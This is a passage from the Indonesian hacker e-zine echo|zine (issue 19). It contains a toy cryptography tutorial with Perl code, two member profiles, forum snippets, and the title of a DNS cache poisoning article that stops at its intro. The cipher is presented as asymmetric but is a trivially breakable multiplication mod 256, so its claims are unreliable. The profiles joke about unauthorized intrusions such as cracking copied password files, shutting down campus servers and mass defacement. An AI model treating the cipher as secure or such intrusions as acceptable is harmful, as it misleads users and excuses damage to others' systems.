Aku kali ini akan mencoba sharing pengetahuan tentang kriptografi, mohon maaf bila pengetahuan yang aku bagi begitu dangkal === I. Sekilas tentang kriptografi Secara umum adalah ilmu dan seni untuk menjaga kerahasiaan berita ilmu yang mempelajari teknik matematika yang berhubungan dengan aspek keamanan informasi seperti : - Kerahasiaan data - keabsahan data - integritas data - autentikasi untuk pengertian tersebut teman-teman bisa melihat detailnya di wikipedia...:P karena aku ambil bahannya dari situ
=== II. Algoritma Sandi Nah untuk melakukan tujuan kriptografi tersebut digunakanlah algoritma sandi, semakin kuat algoritma sandi yang digunakan maka kriptanalis/code breaker(pemecah sandi) tersebut akan semakin sulit. Dasar matematis yang mendasari proses enkripsi dan dekripsi adalah relasi antara dua himpunan yaitu yang berisi elemen teks terang /plaintext dan yang berisi elemen teks sandi/ciphertext. Enkripsi dan dekripsi merupakan fungsi transformasi antara himpunan-himpunan tersebut. Apabila elemen-elemen teks terang dinotasikan dengan P, elemen-elemen teks sandi dinotasikan dengan C, sedang untuk proses enkripsi dinotasikan dengan E, dekripsi dengan notasi D. Enkripsi : E(P) = C Dekripsi : D(C) = P atau D(E(P)) = P untuk mempertegas : Enkripsi adalah proses menyandi/merubah plain teks menjadi cipher teks Dekripsi adalah proses membuka sandi/merubah cipher teks menjadi plain teks Berdasarkan kunci yang digunakan untuk enkripsi dan dekripsi, maka algoritma sandi dibagi menjadi dua macam :
18
1. simetrik ==> kunci untuk enkripsi dan dekripsi adalah sama, contoh : stream cipher, blok cipher 2. a-simetrik ==> kunci untuk enkripsi dan dekripsi adalah berbeda, contoh : RSA, ELGAMAL, dll
=======
Fokus a-simetrik ---|
Tadi sudah aku jelaskan sedikit tentang algoritma sandi, sekarang aku mau fokuskan ke dalam algoritma sandi a-simetrik. Salah satu ilmu matematik yang mendukung algoritma a-simetrik adalah number theory (teori bilangan), number theory ini sangat menarik, aku menghabiskan waktu 2 semester untuk mempelajarinya. Mari kita mulai sedikit number theory #konsep inverse modular a*b mod N = 1 jika a adalah suatu bilangan integer dikalikan dengan bilangan integer lainnya misalnya b, kemudian dimodularkan dengan integer N menghasilkan nilai 1, maka b adalah inverse dari a atau a adalah inverse dari b. BINGUNG...???? :P aku berikan contoh : a=2;
b=6; N=11;
maka (2*6) mod 11 = 12 mod 11 = 1 artinya 6 adalah adalah inverse dari 2, atau 2 adalah inverse dari 6 =======
Implementasi ---|
Dari konsep inverse modular tadi, aku membuat algoritma sandi a-simetrik sederhana bernama kardel-a. Konsep algoritmanya seperti berikut : -pilih dua buah bilangan a dan b, sedemikian hingga a dan b memenuhi konsep inverse modular -bilangan a adalah kunci enkripsi -bilangan b adalah kunci dekripsi rumus algoritma kardel-a==> enkripsi : (P)*a mod N = C dekripsi : (C)*b mod N = P contoh implementasi : a=3; #sebagai kunci enkripsi b=171; #sebagai kunci dekripsi N=256;
----------- Proses Enkripsi ------------------------------
19
Plain teks : "xdiamond1" <== tanpa tanda kutip proses : - ubah x = d = i = a = m = o = n = d = 1 =
setiap huruf menjadi bilangan desimal ascii 120 100 105 97 109 111 110 100 49
- enkripsi ==> (120)*3 mod 256 = 104 (100)*3 mod 256 = 44 . . . . . . . . . (49)*3 mod 256 = 147 - ubah bilangan hasil enkripsi menjadi karakter Cipher teks nya adalah : "h,;#GMJ,ô" <==tanpa tanda kutip.. ------------ Proses Enkripsi Selesai ---------------------
------------ Proses Dekripsi ----------------------------cipher teks : "h,;#GMJ,ô" <==tanpa tanda kutip proses : - ubah h = , = ; = # = G = M = J = , = ô =
setiap huruf menjadi bilangan desimal ascii 104 44 59 35 71 77 74 44 147
- dekripsi ==> (104)*171 mod 256 = 120 (44)*171 mod 256 = 100 . . . . . . . . . (147)*171 mod 256 = 49 - ubah bilangan hasil dekripsi menjadi karakter Plain teksnya adalah : xdiamond1 ----------- Proses Dekripsi Selesai ---------------------=======
Source Code Program ---|
20
aku juga membuat programnya menggunakan perl, mungkin rekan-rekan mau mencobanya....:P
------------ enkripsi.pl --------------------------------#!/usr/bin/perl -w #mode enkripsi #by xdiamond1 print "\nPlain teks : "; chomp($plain=<STDIN>); print "Kunci Enkrip : "; chomp($ke=<STDIN>); @word=split("",$plain); $jml=scalar(@word); &enkrip; sub enkrip { for($i=0; $i<$jml; $i++) { $konv1[$i]=ord($word[$i]); $pro[$i]=($konv1[$i]*$ke)%256; $konv2[$i]=chr($pro[$i]); } $gab=join("",@konv2); print "Cipher teks : $gab\n"; } ------------- enkripsi.pl ----------------------------------
------------- dekripsi.pl ---------------------------------#!/usr/bin/perl -w #mode dekripsi #by xdiamond1 print "\nCipher teks : "; chomp($plain=<STDIN>); print "Kunci Dekrip : "; chomp($kd=<STDIN>); @word=split("",$plain); $jml=scalar(@word); &dekrip; sub dekrip { for($i=0; $i<$jml; $i++) { $konv1[$i]=ord($word[$i]); $pro[$i]=($konv1[$i]*$kd)%256; $konv2[$i]=chr($pro[$i]); } $gab=join("",@konv2); print "Plain teks : $gab\n"; } ------------ dekripsi.pl -----------------------------------
21
=======
Penutup ---|
ho..ho..ho...dah selesai, aku rasa tulisanku kali ini dah cukup semoga rekan-rekan tertarik dengan kriptografi dan mau mengembangkannya, sekali lagi aku mohon maaf klo pengetahuan yang aku share ini sangat jauh dari sempurna.. ======= [1] [2] [3] [3] [4] [5] [6] [7] [8]
Greetz ---|
Allah, tuhan penciptaku Ayah&ibu, lambang, lian, daffa my love Susi y3dips, dan echo staff lainnya freak 'abe' einstein readyforuse20 ethan0ir sigit2003 dan penghuni LKTI lainnya
======= Referensi ---| [1] http://id.wikipedia.org/wiki/Kriptografi [2] cryptanalysis number theory [3] kreasiku sendiri *- $e19dot005dottxt - echo|zine - issue#19 - 080808 -*
22
______ _ _____ ___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] Prophile on CyberTank Brought To You By : echostaff [ Specification ] Handle/nick : CyberTank A.K.A : rmx & Alex_Bambang Real Name : Handle origin : IRC catch me : PO BOX 1337 Age of my body : 25 Produced in : Bandung, Indonesia Height&Weight : 172 & x (ngga punya timbangan) Urlz : cybertank.net Computers spec : AMD Desktop and Vaio BX Member of : K-Elektronik Projects : Upgrading my evil mind. [ Favorite things ] Foods
: Makanan orang normal, yang pasti bukan batu bata, kerikil, beling, etc Drinkz : Mineral Water & Pocari Sweat Colorz : Blue & Black Music : Any music, depends on my mood Bandz/siNger : Biohazard, Rykers, KoRn, Coal Chamber, Sick Of It All, Beatles, Marilyn Manson, Koil, etc Movies : Any movies except horror :D Books & Authors: Al-Quran, Network Security Books, Socket Programming Books, Comics, Rich Dad Poor Dad, Business School, Spirit of Change Urls : google.com I like : Being invisible & Unknown I dislike : Conflict Place : My room Time : After Midnite [ Words ] -
Be master of mind rather than mastered by mind. Low Profile, High Profit :p What you see is what you get
[ Hopes ] - Fast & Cheap internet connection for Indonesia [ Shoutz & Greetz ]
23
- God, for everything - Mom, Dad, Bro, Sis and GF for supporting me - sj, kundel, temon, boiler, redcumi, bagan, hky, negative, aphesz, omenix, iylea, toyok, gmie, senn, e9f - cyb3rh3b, cr4sh3r, fwerd, Samurai_Hack, xfree86, scut, Pho3n1x, rollan, ceyen, cbug, NukeMafia, r0t0r - K-Elektronik, Antihackerlink, 1st, echo, CoreBSD, m0s, 865, ccpb@kaskus - rumahosting.com, nimhost.com, maxindo.net, culprits.org - Semua orang yang saya kenal dan teman2 lama saya yang sudah ditelan bumi :D (Specially Deface & IndoSniffing crew) [ Short wOrds about Hacker ] -
Hacker is an abnormal person. Hacker is not cool. Hacker is a person who love computer & tech more than anything. Hacker don't sell their knowledge, they spread it for FREE. Hackers are everywhere.
[ Short story about Cybertank ] Alex_Bambang itu nick pertama saya, nama seorang pak polisi yang tenar pada saat itu :D CyberTank, nick ini saya gunakan pertama kali waktu ada orang yang mengganggu kehidupan pribadi saya dan saya mau buat warnetnya down pada saat itu, akhirnya kepake sampe sekarang :D rmx, cuma inisial saja :D Saya kenal komputer waktu SD, waktu orang tua saja kerja di SCADA, tiap beliau shift malem, saya ikut untuk main game disana, karena banyak komputer nganggur disana. sampe smp saya cuma pake komputer untuk maen game :D Nah waktu kelas 3 smp kalau ga salah, waktu internet masi barang mahal, saya belajar dari internet, belajar macem2, ada ilmu putih dan ilmu hitam, karena di internet, banyak ilmu yang GRATIS :D Sampai sekarang saya masi belajar dari internet :) [ Cybertank biggest obsession ] -
Be a better man Open my own company Married pwn & control the universe
[ Story in the scene ] Pengalaman isenk sih mungkin banyak, apalagi pada waktu saya kuliah, contohnya: - Kalau di lab banyak yang akses internet dan banyak yang download, ya sudah, saya shutdown satu2 komputer lain, pada saat itu lagi musim bugs mssql and dcom, kebetulan saya hafal ip2 komputernya, saya shutdown trus sampe koneksi internet lancar kembali.
24
- Ngeshutdown mail server kampus pada waktu weekend >:) - Pertama kali belajar C di unix lab pake thin client, kebetulan saya paling cepet kelar codingnya, dan ngga ada kerjaan, akhirnya saya copy /etc/passwd buat di crack di rumah. Beberapa hari kemudian, dapet akses root, dan coba ini itu (maklum, penasaran ama HPUX) sampe ketauan adminnya dan ujung2nya account saya di lock :D - Semalem sebelum UMPTN dan Test masuk kuliah, saya sibuk ngeroot pada saat itu lagi jamannya bugs wuftpd dan bsd telnet, ga kerasa pagi, Ujung2nya pada semua test itu saya ketiduran, dan hal ini terjadi pada saat itu. Pelajaran yang bisa dipetik disini, jangan ngeroot test kuliah besoknya. hahaha. Intinya sih tau yang mana prioritas
sana sini, udah jam 6 berulang2 kalau ada :)
- dan masih banyak lagi :p [ interview ] Q: Apakah menjadi salah satu ahli di bidang IT adalah cita-cita pertama anda, kenapa?, jika bukan apa cita-cita anda? Y: cita2 pertama saya seperti anak2 lainnya pada zaman saya, yaitu jadi astronot atau pilot Q: Apa specialisasi anda? atau bidang apa dari ilmu komputer yang paling anda sukai (e.g : network) Y: Saya suka Encryption & Packet Analysist Q: Full Disclosure menurut anda ? Y: kurang "FULL", mungkin karena sudah banyak yang mencari duit di IT Sec kali ya Q: Pandangan anda tentang komunitas di indonesia ? Y: Semakin banyak komunitas, semakin banyak orang mau eksplorasi :D Q: Aplikasi terfavorit anda ? Y: mp3 player, web browser, mail client, text editor & instant messenger Q: Tokoh yang paling anda kagumi, mengapa? Y: - Orang Tua saya, karena sabar menghadapi dan mengajari saya banyak hal - Jim Geovedi, karena yeahhh.. We LoVe Jim Geovedi!!! Q: Apa pengalaman hacking yang paling menarik? (di luar pekerjaan resmi maksudnya). Y: Banyak euy... Ntar aja deh kita cerita2 kalo nongkrong... (ok kan anak nongkrong echo?) Q: Selama bekerja di prsh XXX, tentunya banyak insiden sekuriti yang ditangani. Bisa share apa saja insiden yang paling menantang? Y: duh maaf saya tidak mau membahas pekerjaan saya. [echo] Q: Kapan anda kenal Echo?
25
Y: Taun berapa ya? Jamannya masi milis :D Q: Saat Pertama Kali mengenal Echo , apa yang membuat anda tertarik ? Y: saat pertama kali kenal echo, saya tidak tertarik dengan echo apalagi milisnya, menuh2in inbox saja :D Q: Bagaimana pendapat anda tentang echo? Y: Perkembangannya pesat :) Q: Pandangan anda tentang echo saat ini? y: Kurang terurus kayanya, udah pada jadi orang sibuk ya? :p Q: Kritik anda terhadap echo? Y: Ngga ada Q: Saran untuk echo? Y: Belum ada, nanti kalau ada pasti saya sampaikan
[pilihan] Q 1. onno w purbo 2. bill gates 3. roy suryo , answer : [1] onno w purbo (sebenernya mau pilih no 3, cuma apa daya, hati nurani berkata lain) Q 1. vista 2. bsd 3. leopard, answer : [2] bsd Q 1. mouse 2.keyboard 3. calculator , answer : [2] keyboard Q 1. perl 2. ruby 3.python, answer: [4] C Q 1. PnP (plug n Play) 2. ./configure; make install 3. apt-get , answer: [2] ./configure; make install Q 1. Intel 2. AMD 3. ppc , answer : [2] AMD Q 1. counter strike 2. dota 3. NFS underground, answer: [4] NFS prostreet Q 1. vmware 2.qemu 3. Xen , answer: [1] vmware
[ Spontan ] 1. Newbie 2. / 3. Injection 4. Underground 5. 0 Day 6. Hackinthezoo 7. Whitehat 8. mount 9. mp3 10.31337
Pendatang Baru root K-159, temon, rahul Unpredictable Unpublish Material The next rival of HITB "good people" / winamp nomor cantik
*- $e19dot006adottxt - echo|zine - issue#19 - 080808 -*
26
______ _ _____ ___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] Prophile on Lirva32 Brought To You By : echostaff [ Specification ] Handle/nick : lirva32 A.K.A : satanicB Real Name : Handle origin : cirebon catch me : lirva32 Age of my body : 1 Desember 197x, kira2 umurnya berapa dung...??? Produced in : Jakarta Height&Weight : 162 cm, 65 Kg Urlz : http://lirva32.org Computers spec : Acer 2920 2Gb 160Gb (MyBacteria) Accer M1100 AMD Turion 64 X2 2Gb 160Gb (MyBlackAnt) Member of : echo.or.id Projects : independent security auditor [ Favorite things ] Foods : MieAyam, MpekMpek, SopKakiBetawi, AsinanBogor, Rujak, RujakKangkung Drinkz : H20rgi, TehManis, AirTebu, BlackCurrentTea, KratingDaeng Colorz : #030000, #4c63c4, c81% m15% y65% k1% Music : SlowRock, Metal Bandz/siNger : Metallica, Halloween, RadioHead, DreamTheater, BonJovi, Scorpions Movies : Si Pitung Banteng Betawi, Spyderman, AmericanPie Books & Authors: All about CISCO Ebook, PHPSakti, all about redHat Urls : http://www.echo.or.id, http://www.frsirt.com, http://www.google.com, http://www.petri.co.il, http://seclists.org/lists/bugtraq http://zone-h.org, http://packetstorm.linuxsecurity.com, http://jasakom.com, http://hackaday.com, http://www.vulnerabilityassessment.co.uk I like : friendship I dislike : betrayal Place : Jalan-jalan di ManggaDua Mall.. sambil lirak-lirik yang bagus2 [ apa hayooo...;) ] Time : ini suka apa yah... suka banget kalo ada tanggal merah... bisa istirahat eeuuyyy.... bisa bacanda sama Debian [ Words ] - Belajar... Bekerja... Berdoa - Hidup itu perjuangan, cinta itu pengorbanan dan mati itu sebuah kepastian
27
[ Hopes ] -
have a new jobs in industry company pengen bisa mengendarai sepeda motor [wah.. rada2 berat nih.. soalnya sepeda aza kagak bisa..he..he...] 'ga mau banyak pengen deh... ntar disangka 'ga bersyukur lagi... ;)
[ Shoutz & Greetz ] -
Tuhan Yang Maha Esa... yang telah banyak memberikan pengetahuan, kehidupan dan segala2nya yang tidak bisa direngkuh - Buat ibunda dung... yang selalu memberikan kasih sayangnya - echo|staff, JimGeovedi,Xnuxer,Mas Arif [S4kitJiwa] n semua teman2 dehhhh.... - Teman2 di http://echo.or.id dan komunitas lainnya yang saya hinggapi hingga hari ini - My Couple 'De dan Debian tercinta yg selalu mengerti tentang dunia saya
[ Short wOrds about Hacker ] - orang yang menekuni suatu bidang dan bisa bertanggung secara keilmuan pada bidang yang ditekuninya. - orang yang tak pernah berhenti untuk belajar.. belajar.. dan belajar terhadap bidangnya
[ short story about lirva32 ] Jangan menyerah dengan keterbatasan !!. Saya pernah mengalaminya, dengan spec komputer yang tidak begitu bagus dan tanpa dukungan koneksi internet saya tetap berusaha untuk belajar.. memaksimalkan keterbatasan untuk tetap bisa berkembang. Sekarangpun masih mengandalkan fasilitas kantor untuk kegiatan oprax-oprex yang memang kebetulan di kantor saya sangat tersedia peralatan dan peripheral mulai dari yang berkelas sampe yang biasa2 aza.
[ lirva32 biggest obsession ] pengen punya akses internet di rumah 7 hari 24 jam unlimitted... amin, sudah terwujud..semoga Alloh tetap memberikan rizky yang lebih baik biar bisa bayar langganan internetnya dan mudah2an bisa lebih menunjang dalam kegiatan belajar.
[ Story in the scene ] - Awal kenal komputer kalo mau ngeprint selalu pake printscreen - Kata temen saya virus mendekam di RAM.. dan saya bongkar PC...saya liat RAM... dan saya cari virus2nya... ha...ha... - kejadian yang menakutkan.. bener2 takut itu ketika masuk ke server hosting dan melakukan deface massal... kebetulan naro bdnya di home directory web kantor.. nah, ketauan sama si Admin.. terus web kantornya ditutup. Sampe masuk detik tuh... dan recovery di tanganin sama si AZ001... hhikkkssss.
28
[ interview ] Q: Apakah menjadi salah satu ahli dan pendidik di bidang IT adalah cita-cita pertama anda, kenapa?, jika bukan apa cita-cita anda? Y: hhiikksss.. awalnya saya punya cita2 mau jadi guru bahasa Indonesia tapi ga tau tuh... tiba2 larinya jadi IT... terpleset..... dan sekarang kegiatan sehari2nya dihabiskan untuk mengajar bidang IT di salah satu STMIK di wilayah Bekasi. Ya ada enaknya juga sih jadi pengajar IT.. enaknya bisa mengenal banyak karakteristik orang... terus ga enaknya kalo Mahasiswanya minta diajarin yang nyeleneh2 gitu dehhhh.... hhikksss, pernak-pernik hidup.
Q: Bidang apakah dari ilmu komputer yang paling anda sukai (e.g : network) Y: Programming dan Networking Q: Suka programming ? ,jika ya bahasa apakah yang sering digunakan ? Y: Programming suka banget... ini dunia awal yang saya tekuni sebelum lari menjadi orang security. Sekarang lagi konsen di PHP, Java dan Perl. Q: Pandangan anda tentang komunitas di indonesia ? Y: Mudah2an komunitas2 di Indonesia bisa banyak memberikan kontribusi ilmu untuk anak2 bangsa... supaya bangsa kita tidak tertinggal lagi... ya minimal bisa memberikan sedikit karya yang berguna. Q: Pendapat anda tentang open source ? Y: Maju terus open source Indonesia, kita harus mendukungnya... Q: Aplikasi terfavorit anda ? Y: ipcop, untangel, totem. Q: Tokoh yang paling anda kagumi, mengapa? Y: . Jim Geovedi, hhmmmm... beliau memiliki skill dan keilmuan yang baik . K-159, hai kang, beliau sosok hacker yang selalu low profile. . y3dips dan theday, hhmmm... mereka selalu berbagi ilmu kalo lagi ketemuan. Q: Jika anda adalah [tokoh yang anda kagumi] , apa yang akan anda lakukan? Y: tetap ingin berbagi ilmu pada siapapun... Q: Ada alasan khusus mengapa anda menamai anak pertama anda dengan nama sebuah distro GNU/Linux ? Y: wwaaahh.. saya pecinta Debian... jadi ada sedikit inspirasi untuk memberikan embel2 "Debian" di anak pertama saya. Q: Kira-kira nama apa lagi yang anda berikan jika anak kedua anda lahir ? *pertanyaan titipan .. hehehe Y: apa yah... kalo Ahmad TCP IP pantes ga yah.? atau Pascalica.? he..he..
[echo] Q: Kapan anda kenal Echo? Y: kalo ga salah tahun 2004 deh...
29
Q: Saat Pertama Kali mengenal Echo , apa yang membuat anda tertarik ? Y: saya tertarik dengan "ECHO Manifesto", terus juga penasaran dengan orang2 dibalik ECHO. Waktu itu sih penasaran sama yang namanya "y3dips" dan "theday", sekarang mereka udah jadi sahabat baik buat saya. Q: Bagaimana pendapat anda tentang echo? Y: saya sendiri berharap kelak echo bisa menjadi komunitas security yang semakin berkembang oleh karena itu echo juga butuh kontribusi ilmu dari semua kalangan. Ya bagaimanapun ini komunitas kita... itu artinya kita semua harus saling bahu membahu membangun komunitas asli negeri ini. Q: Apakah menjadi staff echo termasuk salah satu harapan/mimpi anda ? atau tidak pernah terpikirkan oleh anda? Y: Tidak pernah terpikirkan, pada saat itu niat bergabung hanyalah untuk berbagi pengetahuan dan pengalaman saja. Q: Pandangan anda tentang echo saat ini? y: bagus dan mudah2an bisa lebih berkembang. Q: Kritik anda terhadap echo? Y: mudah2an para staffnya masih bisa meluangkan waktu untuk berbagi. Q: Saran untuk echo? Y: apa yah... hhhmmm, maju terus... jangan lupa regenerasinya. Q: Tanggung jawab / tugas/ job desc anda di echo? Y: hhiikksss... ngurusin forum, ngisi seminar, etc Q: harapan dan apa yang bisa anda berikan untuk echo? Y: idealisme saya untuk bisa mengembangkan echo dan tetap ingin berbagi sekalipun saya newbie [pilihan] Q 1. k-159 2.sakitjiwa 3.y3dips , answer : [2] sakitjiwa Q 1. vista 2. ubuntu 3. leopard, answer : [2] ubuntu Q 1. mouse 2.keyboard 3. monitor , answer : [1] mouse Q 1. java 2. php 3. python, answer: [1] java Q 1. PnP (plug n Play) 2. ./configure; make install 3. apt-get , answer: [3]apt-get Q 1. intel 2. AMD 3. ppc , answer : [1] intel Q 1. geek 2. nerd 3. gaul, answer : [1] geek Q 1. vmware 2.qemu 3. Xen , answer: [1] vmware
[ Spontan ] 1. 2. 3. 4. 5. 6.
newbie root wireless honeypot wardriver knowledge
pembelajar admin free pemalsuan hacking brain
30
7. uid 8. antivirus 9. mp3 10.31337
uid symantec ilegal dua kata boleh ga? boleh dung, jawabnya: pengen dung.
*- $e19dot006bdottxt - echo|zine - issue#19 - 080808 -*
31
______ _ _____ ___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] w-g-o-e-f Brought To You By : az001 email: az001/at/echo/dot/or/dot/id URL: http://az001/dot/echo/dot/or/id Forum echo sudah lebih dari 3 kali mendapatkan peringatan dari pihak penyedia bandwidth dan penyedia hosting, bahkan sempat membuat situs echo.or.id dan forum diskusi tersbut tidak dapat diakses. Hal itu mengakibatkan beberapa room untuk sementara kami tutup dan tidak dapat di akses sampai waktu yang tidak di tentukan. Room-room tersebut adalah Warez : room ini ditujukan untuk berbagi aplikasi aplikasi yang bukan opensource (bisa berarti gratis). Tetapi lebih banyak diisi dengan berbagi serial number, link download software bajakan dsb. Dikarenakan disatu sisi kami mendukung Reverse engineering sebagai ilmu yang sangat "langka", disisi lain kami menganggap hal ini menodai jiwa opensource. Dikarenakan hal ini maka room ini kami tutup dan permasalahan pertama dengan pihak penyedia bandwidth selesai. ------------------ http://echo.or.id/forum/viewtopic.php?t=11572 ---------Room Warez removed | Sel Jul 15, 2008 12:01 pm Dear all anggota forum/echoerz Terkait dengan aturan yang diterapkan oleh pihak penyedia jasa bandwidth dan hosting, maka forum warez kami hapus (disable) untuk waktu yang tidak dapat ditentukan. Sekian, terima kasih salam -y3dips --------------------------------------------------------------------------Kemudian, setelah hal ini dilakukan, beberapa minggu kemudian kami kembali mendapatkan peringatan kembali dari pihak penyedia bandwidth dan hosting (terkait dengan peraturan negara setempat) terkait dengan pelanggaran pada room software dan reverse engineering (yang ternyata setelah kami periksa telah berubah menjadi room pengganti warez). Dan dengan berat hati kami pun sementara menutup room-room tersebut. Setelah diskusi yang panjang, maka kami memutuskan untuk melakukan migrasi letak server milik echo.or.id yang berujung downtime. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
32
Baksos - http://echo.or.id/forum/viewtopic.php?t=11753 black_signal rekan2 semua... tanpa mengurangi rasa hormat ma yang berbeda agama neh ya.... bentar lagi kan mau bulan puasa gmn kalo kita bikin baksos,,, ya itung2 sarana silaturahmi ma sesama warga forum ni... gmn? -----------Staff: ide yang sangat bagus, dan ditanggapi dengan beragam, tetapi sebenarnya kita (staff) masih bingung dengan istilah baksos yang dimaksud (bakso-bakso?) :lol: anyway, semua ide positif akan kita tampung, echo (K-159) pernah punya ide untuk melakukan kegiatan ramadhon (bagi yang muslim) di masjid dan nama kegiatannya (menurut K-159) bisa jadi "echo hack in masjid" :) Mungkin buka puasa bersama, mudah-mudahan bisa kita wujudkan seperti tahun-tahun sebelumnya (teman-teman non-muslim juga bisa ikutan) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://echo.or.id/forum/viewtopic.php?t=11327 n0mercy Belajar tentang Hacker bersama kang onno http://onno.vlsm.org/v09/onno-ind-1/network/network-security/ --------------Staff: url yang berisi berbagai materi yang di rilis oleh bapak Onno W Purbo ini dapat menambah pengetahuan kita serta sejarah tentang berbagai hal yang berkaitan dengan keamanan ti di indonesia. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://echo.or.id/forum/viewtopic.php?t=11788 chaer_newbie Jurusan k0mputer yg ga ad matematika Ad gag yah mau kuliah tp yg ga ad pelajaran matematikanya. . . masuk manah ya yg enak. . . didaerah bekasi t4 kuliahnya diruko smua kebanyakan. . . masa harus ikut transmigrasi? dibani insani apa yak. . . .
33
xixixi ----------------Staff: Ad gag yah rumah yang ga pake pondasi/penyangga bebannya? computer asal katanya adalah computare yang berarti alat hitung, jadi mungkin sulit menemukan kampus jurusan komputer yang tidak ada mata kuliah hitungan :p ** jadi ikutan gaul neh, mungkin di warnetnya itu bayar per-karakter kali ya :P ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://echo.or.id/forum/viewtopic.php?t=11684 ladoraca Hacker Djomlo menurut survey yang gue lakukan sendiri, ternyata seorang hacker atau geeks ternyata susah dalam berinterkasi dengan lingkungan disekitarnya. makanya klo dibangku kuliah ada namanya mata kuliah interaksi manusia dan komputer. dan ternyata gw mengalaminnya sendiri.... viva to hack jomlo,.... ---------------
Staff: Survey-nya daerah mana mas?, baru-baru ini dua hacker sudah ter-pwn3d, gimana bisa menikah kalo dia jomblo :P, bahkan ada yang sudah beregenerasi :P ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://echo.or.id/forum/viewtopic.php?t=11713 MAu Tau baru masuk yth para senior dkk saya anggota baru ingin tahu gimana cara memulai topik yang baik -----------------Staff: yth anggota baru dkk tidak perlu memulai topik baru, mulailah dengan menjawab sendiri pertanyaan yang kamu ingin tanyakan, kemudian berusaha membantu menjawab pertanyaan orang lain. :) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://echo.or.id/forum/viewtopic.php?t=11756 ucapan to echo Lidah bermatakan pisau menari-nari mengikuti lantunan syahdu ttg jahatnya seorang hacker,beralaskan duri-duri yang seakan muncul dari bawah tanah menghalangi seseorang tuk mencari emas berharga yg terjatuh di tanah, kubuka
34
jendela dunia, tapi yang terlihat hanyalah syair-syair indah hacker yang berselipkan jarum-jarum kecil yang menyakitkan... Apa salah seseorang yang ingin menimba ilmu dari "gudang sejuta manfaat"...?? yaah... mudah-mudahan teman2 echo sekalian trus ssemangat menimba ilmu, tuk menjadi "............." sejati!!! Crying or Very sad : huuu..huu... Cool : euy!!! don't sad... Sad : they broke my hope... Shocked : why..??!! Confused : i don't know, they prohibited me to study about cyber world Wink : stay calm friend, join echo.or.id, you can study with this forum... Surprised : really...??!! Very Happy : yes... Embarassed : thank you thanks to echo for give me knowledge... ------------
Staff: wow...... kamu seniman? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://echo.or.id/forum/viewtopic.php?t=11150 omicron9194 eh,koq lirva32 dipanggil mbak y?? q liat di sitenya tuch cowo' kn?? koq dipgl mbk gt?? ----------------Staff: Siapa yang panggil mbak? tante kali :P Salah satu fans setia lirva32 yah ? Beruntung pada eCHo zine kali ini memuat profile lirva32, silahkan di cek
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://echo.or.id/forum/viewtopic.php?t=11752 petunia Post Out from here Coz I loose all of my motivation here... ---------------Staff: bye.. then, we dont need a people with no motivation
*- $e19dot007dottxt - echo|zine - issue#19 - 080808 -*
35
______ _ _____ ___ __ _(_) __|___ __| |___|____ | / _ \ / _` | |\ \ / _ \ / _` |__ \ |_ | \__ | | | | |_\ \ (_) | | | |__) |__| | |___/|_| |_|_|____\___/|_| |_|___/_____|
[ echo|zine, volume 6 issue 19 ] Bailiwicked DNS Attack (Cache Poisoning) Brought To You By : Cyberheb email: cyberheb/et/kecoak-elektronik/dot/net URL: http://kecoak-elektronik/dot/net =======
Intro ---|
